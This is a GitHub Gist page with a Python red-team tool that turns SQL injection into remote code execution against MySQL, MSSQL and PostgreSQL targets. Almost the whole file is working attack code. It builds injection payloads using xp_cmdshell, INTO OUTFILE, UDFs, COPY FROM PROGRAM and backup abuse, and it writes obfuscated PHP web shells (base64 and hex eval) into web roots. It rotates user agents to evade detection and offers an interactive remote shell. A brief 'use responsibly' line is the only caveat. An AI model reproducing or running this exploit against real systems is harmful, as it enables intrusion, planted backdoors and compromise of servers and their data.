Last active
June 8, 2025 11:01
-
-
Save 0xHossam/6205d933db6ec8923cd5dbccc88a16e0 to your computer and use it in GitHub Desktop.
A Python utility that leverages SQL injection to achieve remote code execution (RCE) by deploying obfuscated web shells, featuring proxy support and multi-threading for effective red team operations.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import requests | |
import urllib.parse | |
import sys | |
import base64 | |
import logging | |
import random | |
import time | |
import threading | |
from typing import Optional | |
# Set up logging to keep track of what's happening | |
logging.basicConfig( | |
level=logging.INFO, | |
format='[%(asctime)s] %(levelname)s: %(message)s', | |
handlers=[ | |
logging.FileHandler("SQLtoRCE.log"), # Save logs to a file | |
logging.StreamHandler(sys.stdout) # Also print to console | |
] | |
) | |
# Some user agents to blend in with normal traffic | |
USER_AGENTS = [ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15", | |
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36", | |
] | |
class Exploiter: | |
def __init__(self, target: str, port: int = 80, url_path: str = "/vulnerable.php", | |
shell_path: str = "/shell.php", use_https: bool = False, | |
timeout: int = 10, max_retries: int = 3, proxy: Optional[str] = None, | |
additional_headers: Optional[dict] = None, encrypt_payload: bool = False, | |
db_type: str = "mysql", rce_method: str = "file_write"): | |
# Set up the basics for our target | |
self.scheme = 'https' if use_https else 'http' | |
self.target = target | |
self.port = port | |
self.url_path = url_path | |
self.shell_url = f"{self.scheme}://{self.target}:{self.port}{shell_path}" | |
self.timeout = timeout | |
self.max_retries = max_retries | |
self.proxy = proxy | |
self.encrypt_payload = encrypt_payload | |
self.db_type = db_type.lower() | |
self.rce_method = rce_method.lower() | |
# Randomize user-agent to avoid detection | |
self.headers = {'User-Agent': random.choice(USER_AGENTS)} | |
if additional_headers: | |
self.headers.update(additional_headers) | |
# Set up a session for persistent connections | |
self.session = requests.Session() | |
if self.proxy: | |
self.session.proxies = {'http': self.proxy, 'https': self.proxy} | |
logging.info(f"Ready to exploit {self.shell_url} with {self.db_type} DB using {self.rce_method} method") | |
def obfuscate_payload(self, payload: str, encoding: str = "base64") -> str: | |
# Let's make the payload harder to detect | |
logging.debug(f"Original payload: {payload}") | |
# Optional encryption step (base64 for now, could be stronger) | |
if self.encrypt_payload: | |
payload = base64.b64encode(payload.encode()).decode() | |
logging.debug(f"Encrypted payload: {payload}") | |
if encoding == "base64": | |
# Double-base64 encode and split for extra stealth | |
encoded = base64.b64encode(payload.encode()).decode() | |
split_index = len(encoded) // 2 | |
part1 = encoded[:split_index] | |
part2 = encoded[split_index:] | |
part1_encoded = base64.b64encode(part1.encode()).decode() | |
part2_encoded = base64.b64encode(part2.encode()).decode() | |
# Only wrap in PHP if we're writing a web shell | |
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]: | |
obfuscated = ( | |
f"<?php eval(base64_decode(base64_decode('{part1_encoded}')) . " | |
f"base64_decode(base64_decode('{part2_encoded}'))); ?>" | |
) | |
else: | |
obfuscated = encoded # Direct SQL payloads don't need PHP | |
logging.debug(f"Obfuscated payload: {obfuscated}") | |
return obfuscated | |
elif encoding == "hex": | |
encoded = payload.encode().hex() | |
obfuscated = f"<?php eval(hex2bin('{encoded}')); ?>" if self.rce_method in ["file_write", "app_layer", "backup_abuse"] else encoded | |
logging.debug(f"Obfuscated payload: {obfuscated}") | |
return obfuscated | |
else: | |
logging.warning(f"Encoding {encoding} not supported, using raw payload") | |
return payload | |
def construct_sql_injection(self, command: str = None) -> str: | |
# Build the SQL injection payload based on DB and RCE method | |
logging.info(f"Crafting SQL payload for {self.db_type} with {self.rce_method}") | |
if self.rce_method == "xp_cmdshell" and self.db_type == "mssql": | |
# MSSQL's xp_cmdshell for direct command execution | |
cmd = command or "whoami" | |
payload = f"EXEC xp_cmdshell '{cmd}';" | |
escaped = payload.replace("'", "''") | |
sql_payload = f"1; {escaped} --" | |
elif self.rce_method == "file_write" and self.db_type == "mysql": | |
# Write a PHP shell to the web root (classic MySQL trick) | |
php_shell = "<?php $result=exec($_GET['action']);echo '<pre>'.$result.'</pre>'; ?>" | |
obf_payload = self.obfuscate_payload(php_shell) | |
escaped = obf_payload.replace("'", "''") | |
sql_payload = f"SELECT '{escaped}' INTO OUTFILE '/var/www/html/shell.php' FROM mysql.user LIMIT 1;" | |
elif self.rce_method == "udf" and self.db_type in ["mysql", "postgresql"]: | |
# Create a UDF to run system commands (assumes library is uploaded) | |
payload = ( | |
"CREATE FUNCTION sys_exec(text) RETURNS int AS '/tmp/malicious.so', 'sys_exec' LANGUAGE C;" | |
if self.db_type == "postgresql" else | |
"CREATE FUNCTION sys_exec RETURNS integer SONAME 'malicious.so';" | |
) | |
escaped = payload.replace("'", "''") | |
sql_payload = f"1; {escaped} --" | |
elif self.rce_method == "copy_program" and self.db_type == "postgresql": | |
# PostgreSQL's COPY FROM PROGRAM for direct command execution | |
cmd = command or "whoami" | |
payload = f"COPY mytable FROM PROGRAM '{cmd}';" | |
escaped = payload.replace("'", "''") | |
sql_payload = f"1; {escaped} --" | |
elif self.rce_method == "app_layer": | |
# Inject PHP code into a field the app might execute | |
php_shell = "<?php system($_GET['cmd']); ?>" | |
obf_payload = self.obfuscate_payload(php_shell) | |
escaped = obf_payload.replace("'", "''") | |
sql_payload = f"UNION SELECT '{escaped}' INTO some_field FROM some_table;" | |
elif self.rce_method == "linked_server" and self.db_type == "mssql": | |
# Run commands via a linked MSSQL server | |
cmd = command or "whoami" | |
payload = f"SELECT * FROM OPENQUERY(linked_server, 'EXEC xp_cmdshell ''{cmd}''');" | |
escaped = payload.replace("'", "''") | |
sql_payload = f"1; {escaped} --" | |
elif self.rce_method == "backup_abuse" and self.db_type in ["mysql", "mssql"]: | |
# Write a malicious script via backup/export | |
payload = ( | |
f"SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/backup/shell.sh';" | |
if self.db_type == "mysql" else | |
f"BACKUP DATABASE master TO DISK = 'C:\\inetpub\\wwwroot\\shell.php' WITH INIT, FORMAT, CODEPAGE = 65001;" | |
) | |
escaped = payload.replace("'", "''") | |
sql_payload = f"1; {escaped} --" | |
else: | |
logging.error(f"Oops, {self.rce_method} not supported for {self.db_type}!") | |
sys.exit(1) | |
logging.debug(f"SQL payload: {sql_payload}") | |
return sql_payload | |
def send_payload(self, target_url: str, sql_payload: str) -> bool: | |
# Send the SQL injection payload to the target | |
encoded_payload = urllib.parse.quote(sql_payload) | |
injection_url = f"{target_url}?id={encoded_payload}" | |
logging.info(f"Hitting {injection_url}") | |
for attempt in range(1, self.max_retries + 1): | |
try: | |
response = self.session.get(injection_url, headers=self.headers, timeout=self.timeout, verify=False) | |
if response.status_code == 200: | |
logging.info("Payload delivered!") | |
return True | |
else: | |
logging.warning(f"Attempt {attempt}: Server said no (status: {response.status_code})") | |
except requests.RequestException as e: | |
logging.error(f"Attempt {attempt}: Something broke: {e}") | |
# Wait a bit before retrying | |
sleep_time = 2 ** attempt | |
logging.debug(f"Chilling for {sleep_time}s before retry") | |
time.sleep(sleep_time) | |
return False | |
def verify_payload(self) -> bool: | |
# Check if the web shell or payload is active | |
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]: | |
logging.info(f"Checking if {self.shell_url} is live") | |
try: | |
response = self.session.get(self.shell_url, headers=self.headers, timeout=self.timeout, verify=False) | |
if response.status_code == 200 and ("<?php" in response.text or "exec" in response.text): | |
logging.info("Shell is up and running!") | |
return True | |
else: | |
logging.warning("Shell didn't work as expected") | |
return False | |
except requests.RequestException as e: | |
logging.error(f"Verification failed: {e}") | |
return False | |
else: | |
logging.info("Skipping verification for non-web-shell methods") | |
return True | |
def execute_command(self, command: str) -> Optional[str]: | |
# Run a command, either via the web shell or direct SQL injection | |
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]: | |
encoded_command = urllib.parse.quote(command) | |
cmd_url = f"{self.shell_url}?action={encoded_command}" | |
logging.info(f"Running command via shell: {command}") | |
else: | |
# For direct methods, re-inject the command via SQL | |
sql_payload = self.construct_sql_injection(command) | |
cmd_url = f"{self.scheme}://{self.target}:{self.port}{self.url_path}?id={urllib.parse.quote(sql_payload)}" | |
logging.info(f"Running command via SQL: {command}") | |
for attempt in range(1, self.max_retries + 1): | |
try: | |
response = self.session.get(cmd_url, headers=self.headers, timeout=self.timeout, verify=False) | |
if response.status_code == 200: | |
logging.info("Command ran successfully") | |
return response.text | |
else: | |
logging.warning(f"Attempt {attempt}: Command failed (status: {response.status_code})") | |
except requests.RequestException as e: | |
logging.error(f"Attempt {attempt}: Command error: {e}") | |
sleep_time = 2 ** attempt | |
logging.debug(f"Waiting {sleep_time}s before retry") | |
time.sleep(sleep_time) | |
return None | |
def interactive_shell(self): | |
# Interactive mode for running commands | |
logging.info("Starting interactive shell. Type 'exit' or 'quit' to stop.") | |
while True: | |
try: | |
command = input("shell> ") | |
if command.lower() in ['exit', 'quit']: | |
logging.info("Closing shell") | |
break | |
if not command.strip(): | |
continue | |
output = self.execute_command(command) | |
if output: | |
print(output) | |
else: | |
print("[-] No output or command failed") | |
except KeyboardInterrupt: | |
logging.warning("Caught Ctrl+C, exiting shell") | |
break | |
except Exception as e: | |
logging.error(f"Something went wrong: {e}") | |
break | |
def send_payload_thread(exploiter, target_url, sql_payload): | |
# Threaded payload delivery | |
if exploiter.send_payload(target_url, sql_payload): | |
logging.info("Payload sent in thread") | |
else: | |
logging.warning("Payload failed in thread") | |
def main(): | |
# Parse command-line arguments | |
parser = argparse.ArgumentParser( | |
description="SQL injection tool to achieve RCE. Use responsibly and with permission!" | |
) | |
parser.add_argument("-t", "--target", required=True, help="Target IP or domain") | |
parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") | |
parser.add_argument("-u", "--url-path", default="/vulnerable.php", help="Path to vulnerable script") | |
parser.add_argument("-s", "--shell-path", default="/shell.php", help="Where to upload the shell") | |
parser.add_argument("-c", "--command", help="Single command to run") | |
parser.add_argument("--https", action='store_true', help="Use HTTPS") | |
parser.add_argument("--verify", action='store_true', help="Verify shell upload") | |
parser.add_argument("--interactive", action='store_true', help="Open interactive shell") | |
parser.add_argument("--encoding", choices=['base64', 'hex'], default='base64', help="Payload encoding (default: base64)") | |
parser.add_argument("--db-type", choices=['mysql', 'mssql', 'postgresql'], default='mysql', help="Database type (default: mysql)") | |
parser.add_argument("--rce-method", choices=['xp_cmdshell', 'file_write', 'udf', 'copy_program', 'app_layer', 'linked_server', 'backup_abuse'], | |
default='file_write', help="RCE method (default: file_write)") | |
parser.add_argument("--verbosity", choices=['INFO', 'DEBUG'], default='INFO', help="Logging level (default: INFO)") | |
parser.add_argument("--proxy", help="Proxy server (e.g., http://127.0.0.1:8080)") | |
parser.add_argument("--header", action='append', help="Extra headers (Key:Value)") | |
parser.add_argument("--encrypt-payload", action='store_true', help="Encrypt payload for stealth") | |
parser.add_argument("--threads", type=int, default=1, help="Number of threads (default: 1)") | |
args = parser.parse_args() | |
# Set logging level | |
logging.getLogger().setLevel(logging.DEBUG if args.verbosity == 'DEBUG' else logging.INFO) | |
# Parse custom headers | |
additional_headers = {} | |
if args.header: | |
for header in args.header: | |
try: | |
key, value = header.split(":", 1) | |
additional_headers[key.strip()] = value.strip() | |
except ValueError: | |
logging.warning(f"Bad header format: {header}. Use Key:Value") | |
# Initialize the exploiter | |
exploiter = Exploiter( | |
target=args.target, | |
port=args.port, | |
url_path=args.url_path, | |
shell_path=args.shell_path, | |
use_https=args.https, | |
proxy=args.proxy, | |
additional_headers=additional_headers, | |
encrypt_payload=args.encrypt_payload, | |
db_type=args.db_type, | |
rce_method=args.rce_method | |
) | |
# Build and send the payload | |
logging.info("Crafting the attack...") | |
sql_payload = exploiter.construct_sql_injection() | |
target_url = f"{exploiter.scheme}://{exploiter.target}:{exploiter.port}{exploiter.url_path}" | |
if args.threads > 1: | |
# Send payloads in parallel | |
threads = [threading.Thread(target=send_payload_thread, args=(exploiter, target_url, sql_payload)) for _ in range(args.threads)] | |
for t in threads: | |
t.start() | |
for t in threads: | |
t.join() | |
else: | |
if not exploiter.send_payload(target_url, sql_payload): | |
logging.error("Payload delivery failed. Check your setup!") | |
sys.exit(1) | |
# Verify the payload if requested | |
if args.verify: | |
if not exploiter.verify_payload(): | |
logging.error("Shell verification failed. Something's off!") | |
sys.exit(1) | |
# Run a single command if provided | |
if args.command: | |
output = exploiter.execute_command(args.command) | |
if output: | |
print("[+] Command output:") | |
print(output) | |
else: | |
logging.warning("No output from command") | |
# Start interactive shell if requested | |
if args.interactive: | |
if exploiter.verify_payload() or exploiter.rce_method not in ["file_write", "app_layer", "backup_abuse"]: | |
exploiter.interactive_shell() | |
else: | |
logging.error("Can't start shell without a working payload") | |
# If no command or shell, give next steps | |
if not args.command and not args.interactive: | |
logging.info(f"Payload sent! For web shells, try: {exploiter.shell_url}?action=<command>") | |
print(f"[*] Access shell at {exploiter.shell_url}?action=<command>" if exploiter.rce_method in ["file_write", "app_layer", "backup_abuse"] else "[*] Payload executed. Check logs or server for results.") | |
if __name__ == "__main__": | |
# Ignore SSL warnings for testing | |
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment